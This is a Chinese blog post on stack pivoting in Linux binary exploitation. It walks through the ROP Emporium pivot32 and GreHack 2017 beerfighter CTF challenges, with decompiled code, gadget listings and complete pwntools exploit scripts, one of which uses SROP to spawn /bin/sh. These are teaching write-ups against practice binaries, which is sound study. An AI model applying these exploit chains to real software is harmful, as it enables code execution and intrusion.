Linux Pwn - 栈溢出与ROP(四)

stack pivoting

stack pivoting是通过将程序真实栈转移到伪造栈上的攻击技术,可用于绕过不可执行保护或者处理栈空间过小的情况

stack pivoting的payload构造通常如下,通过控制ebp的值,利用leave指令(等价mov esp, ebp; pop ebp)来控制esp转移到新栈上,然后再利用ret将新栈上的地址弹出给eip

1
2
stack:		| buffer			| ebp		| return addr		|
payload: | buffer padding | fake ebp | leave; retn addr |

这里由leave指令多弹出来的ebp一般来说用不上就随意给值

ROP Emporium pivot32

该题目开启了NX,ASLR、和PIE,且存在两次输入,第一次输入将数据存入传入参数(堆上),第二次输入可触发缓冲区溢出

缓冲区输入56个字节,缓冲区距离返回地址44个字节,可用还剩56 - 44 = 12个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl pwnme(void *buf)
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
puts("Call ret2win() from libpivot");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf); # 打印了buf地址
puts("Send a ROP chain now and it will land there");
printf("> ");
read(0, buf, 0x100u); // 读取数据存入堆空间
puts("Thank you!\n");
puts("Now please send your stack smash");
printf("> ");
read(0, s, 0x38u); // 缓冲区溢出
return puts("Thank you!");
}

所以需要将ROP链放在buf中,通过stack pivoting将栈转移到buf

首先将esp劫持到buf上,通过ROPgadget寻找leave|ret

1
2
3
4
5
6
[email protected]:~/workspace/stackoverflow/pivot32$ ROPgadget --binary pivot32 --only "leave|ret"
Gadgets information
============================================================
0x080485f5 : leave ; ret
0x08048492 : ret
0x0804861e : ret 0xeac1

劫持代码如下,选择0x080485f5的gadget,第一个传入0xcccccccc,第二次覆盖ebp的值为泄露出来的buf首地址 - 4,以便leave弹出ebp的时候esp刚好位于buf首地址处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process("./pivot32")
e = ELF("./pivot32")
lib = ELF("./libpivot32.so")

gdb.attach(p)

# get leak buf addr
p.recvuntil("pivot: ")
buf_addr = int(p.recvuntil("\n"), 16)
log.info("leak buf addr => %s" % hex(buf_addr))

# step 1
p.recvuntil("> ")
p.sendline("\xcc\xcc\xcc\xcc")

# step 2
p.recvuntil("> ")
# 0x080485f5 : leave ; ret
leave_ret = 0x080485f5
payload = "A" * 40 + p32(buf_addr - 4) + p32(leave_ret)
p.sendline(payload)
p.recv()

调试刚好异常触发于0xcccccccc

由于随机基址,需要通过从libpivot32.so中导入的foothold_function函数的got表泄露该函数真实地址,通过计算偏移得到ret2win函数真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
foothold_function_plt = e.plt["foothold_function"]
foothold_function_got = e.got["foothold_function"]
log.info("foothold_function plt => %s" % hex(foothold_function_plt))
log.info("foothold_function got => %s" % hex(foothold_function_got))
offset = lib.symbols["ret2win"] - lib.symbols["foothold_function"]
log.info("offset => %s" % hex(offset))

# 0x0804882c : pop eax ; ret
pop_eax = 0x0804882c
# 0x08048830 : mov eax, dword ptr [eax] ; ret
mov_eax_Meax = 0x08048830
# 0x080484a9 : pop ebx ; ret
pop_ebx = 0x080484a9
# 0x08048833 : add eax, ebx ; ret
add_eax_ebx = 0x08048833
# 0x080485f0 : call eax
call_eax = 0x080485f0

payload = p32(foothold_function_plt) + \ # 调用foothold_function完成绑定
p32(pop_eax) + p32(foothold_function_got) + p32(mov_eax_Meax) + \ # eax = foothold_function真实地址
p32(pop_ebx) + p32(offset) + \ # ebx = offset
p32(add_eax_ebx) + p32(call_eax) # eax = foothold_function + offset => ret2win
p.sendline(payload)

GreHack CTF 2017:beerfighter

程序开启了NX,且没有动态库,所以需要利用stack pivoting将栈转移到可执行的地方,同时需要自己使用syscall完成系统调用,这就可用利用SROP

1
2
3
4
5
6
7
8
9
[email protected]:~/workspace/stackoverflow/beerfighter$ checksec beerfighter 
[*] '/home/pwn/workspace/stackoverflow/beerfighter/beerfighter'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[email protected]:~/workspace/stackoverflow/beerfighter$ ldd beerfighter
not a dynamic executable

函数sub_400144有1040字节的缓冲区,主要功能在函数work_400568中并将缓冲区v1传入,其中获取用户输入,执行相应的菜单功能

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400144()
{
char v1[1040]; // [rsp+10h] [rbp-410h] BYREF

qmemcpy(v1, "Newcomer", 0x404uLL); // 1040字节的缓冲区
put_menu1_40045E();
while ( (unsigned int)work_400568((__int64)v1) )
;
put_menu2_400222((__int64)&unk_4007A0);
return 0LL;
}

这里只有1号功能有用,将传入的缓冲区又传给sub_400480

1
2
3
4
5
6
7
8
9
__int64 __fastcall work_400568(__int64 a1)
{
int num; // eax
// ...
num = get_input_40035E((__int64)"Type your action number > ", 0, 3);
if ( num == 1 )
{
sub_400480(a1); // 1
}

sub_400480中,获取最大2048字节输入到缓冲区v2中,然后又拷贝到缓冲区a1(为上层函数换进来的1040字节的缓冲区v1)造成缓冲区溢出,最后选择3号菜单,退出程序触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_400480(__int64 a1)
{
__int64 result; // rax
char v2[2063]; // [rsp+10h] [rbp-810h] BYREF
char num; // [rsp+81Fh] [rbp-1h]

//...
else
{
// 0
put_menu2_400222((__int64)"Type your character name here > ");
get_input_4002FA(v2, 2048); // 获取输入,最大2048字节
memcpy_40040E((_BYTE *)a1, v2, 2048); // 拷贝
result = put_menu2_400222((__int64)"\n");
}
return result;
}

在该程序中.data段可写,也存在pop rax; retsyscall; ret的gadgets,可用构造sigreturn用来实现SROP

1
2
3
4
5
6
7
8
9
10
11
[email protected]:~/workspace/stackoverflow/beerfighter$ readelf -S beerfighter 
There are 8 section headers, starting at offset 0x2078:

Section Headers:
[Nr] Name Type Address Offset
[ 5] .data PROGBITS 0000000000602000 00002000
0000000000000006 0000000000000000 WA 0 0 1
[email protected]:~/workspace/stackoverflow/beerfighter$ ROPgadget --binary beerfighter --only "pop|ret" | grep rax
0x000000000040077a : pop rax ; ret
[email protected]:~/workspace/stackoverflow/beerfighter$ ROPgadget --binary beerfighter --only "syscall|ret" | grep syscall
0x0000000000400738 : syscall ; ret

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = process("./beerfighter")
e = ELF("./beerfighter")
# context.log_level="debug"
context.arch = "amd64"
# gdb.attach(p)

p.recvuntil("Type your action number > ")
p.sendline("1")
p.recvuntil("Type your action number > ")
p.sendline("0")
p.recvuntil("Type your character name here > ")


# 0x000000000040077a : pop rax ; ret
pop_rax = 0x000000000040077a

# 0x0000000000400738 : syscall ; ret
syscall_addr = 0x0000000000400738

# 构造sigreturn的ROP链
sigreturn = p64(pop_rax) + p64(constants.SYS_rt_sigreturn) + p64(syscall_addr)
pyaload = "A" * 1048 + sigreturn

data_addr = e.get_section_by_name(".data").header.sh_addr + 0x20 # 选定.data段地址
new_stack_addr = data_addr + 0x8 # 选定新的栈地址
log.info("data addr => %s" % hex(data_addr))
log.info("new stack addr => %s" % hex(new_stack_addr))

# frame - execve()
frame_execve = SigreturnFrame(kernel="amd64")
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = data_addr
frame_execve.rsi = 0
frame_execve.rdx = 0
frame_execve.rip = syscall_addr

# frame - read()
# 读取"bin/sh"以及后续的sigreturn的ROP链和frame_execve到新栈上
frame_read = SigreturnFrame(kernel="amd64")
frame_read.rax = constants.SYS_read
frame_read.rdi = constants.STDIN_FILENO
frame_read.rsi = data_addr
frame_read.rdx = len(frame_execve)
frame_read.rsp = new_stack_addr # stack pivot
frame_read.rip = syscall_addr

# 触发栈溢出,执行sigreturn read
p.sendline(pyaload + str(frame_read))
p.recvuntil("Type your action number > ")
p.sendline("3")

# 利用sigreturn read读取触发sigreturn execve
payload = "/bin/sh\x00" + sigreturn + str(frame_execve)
p.sendline(payload)
p.interactive()

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信